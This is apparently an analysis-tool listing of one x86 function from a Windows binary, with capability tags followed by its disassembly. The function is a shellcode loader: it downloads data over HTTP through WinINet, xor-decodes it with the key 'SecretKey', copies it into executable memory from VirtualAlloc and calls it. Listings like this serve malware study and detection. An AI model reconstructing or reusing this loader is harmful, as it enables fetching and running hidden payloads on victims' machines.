Function at 0x401170
Capabilities:
Allocate or change rwx memory
Create http request
Encode data using xor
Execute shellcode via indirect call
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4028cb
mov eax, dword fs:[0]
push eax
sub esp, 0x43c
mov eax, dword [0x405004]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0x1f
push ecx
mov dword [ebp - 0x440], 0
lea ecx, [ebp - 0x440]
mov dword [ebp - 0x430], 0
mov dword [ebp - 0x42c], 0xf
mov byte [ebp - 0x440], 0
call fcn.004014e0
push 0
mov dword [ebp - 4], 0
lea eax, [ebp - 0x440]
cmp dword [ebp - 0x42c], 0x10
mov edi, dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
cmovae eax, dword [ebp - 0x440]
push 0
push 0xffffffffffffffff
push eax
push 0
push 0
call edi
xor ecx, ecx
mov esi, eax
mov edx, 2
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.00401b8d
add esp, 4
lea ecx, [ebp - 0x440]
cmp dword [ebp - 0x42c], 0x10
mov ebx, eax
cmovae ecx, dword [ebp - 0x440]
push esi
push ebx
push 0xffffffffffffffff
push ecx
push 0
push 0
call edi
xorps xmm0, xmm0
mov dword [ebp - 0x420], 0
xor edi, edi
movq qword [ebp - 0x428], xmm0
mov dword [ebp - 0x428], 0
mov dword [ebp - 0x424], edi
mov dword [ebp - 0x420], edi
push edi
push edi
push edi
push 1
mov byte [ebp - 4], 1
push str.MyAgent
mov dword [ebp - 0x444], edi
call dword [sym.imp.WININET.dll_InternetOpenW]
push edi
push 0x100
push edi
push edi
push ebx
push eax
mov dword [ebp - 0x448], eax
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
push ebx
mov esi, eax
call fcn.00401b4a
add esp, 4
test esi, esi
jne 0x4012d3
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x401840
call fcn.00401620
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push dword [ebp - 0x448]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
lea esi, [edi + 1]
jmp 0x4013e3
mov ebx, dword [sym.imp.WININET.dll_InternetReadFile]
lea eax, [ebp - 0x444]
push eax
push 0x400
lea eax, [ebp - 0x41c]
push eax
push esi
call ebx
test eax, eax
je 0x401343
mov eax, dword [ebp - 0x444]
test eax, eax
je 0x40133b
push dword [ebp - 0x448]
lea ecx, [ebp - 0x41c]
add eax, ecx
push eax
mov eax, ecx
lea ecx, [ebp - 0x428]
push eax
push edi
call fcn.00401930
lea eax, [ebp - 0x444]
push eax
push 0x400
lea eax, [ebp - 0x41c]
push eax
push esi
call ebx
mov edi, dword [ebp - 0x424]
test eax, eax
jne 0x4012f3
mov ebx, dword [ebp - 0x428]
jmp 0x401345
xor ebx, ebx
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push dword [ebp - 0x448]
call esi
movq xmm0, qword [str.SecretKey]
mov ecx, 0
mov ax, word [0x403234]
movq qword [ebp - 0x1c], xmm0
mov word [ebp - 0x14], ax
sub edi, ebx
je 0x401392
mov esi, 9
nop dword [eax + eax]
mov eax, ecx
xor edx, edx
div esi
mov al, byte [ebp + edx - 0x1c]
xor byte [ecx + ebx], al
inc ecx
cmp ecx, edi
jb 0x401380
push 0x40
push 0x1000
push edi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
mov esi, eax
push ebx
push esi
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
call esi
xor esi, esi
test ebx, ebx
je 0x4013e3
mov ecx, dword [ebp - 0x420]
mov eax, ebx
sub ecx, ebx
cmp ecx, 0x1000
jb 0x4013d9
mov ebx, dword [ebx - 4]
add ecx, 0x23
sub eax, ebx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40140f
push ecx
push ebx
call fcn.00401b7f
add esp, 8
mov edx, dword [ebp - 0x42c]
cmp edx, 0x10
jb 0x40141f
mov ecx, dword [ebp - 0x440]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x401415
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x401415
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.00401b7f
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00401b3c
mov esp, ebp
pop ebp
ret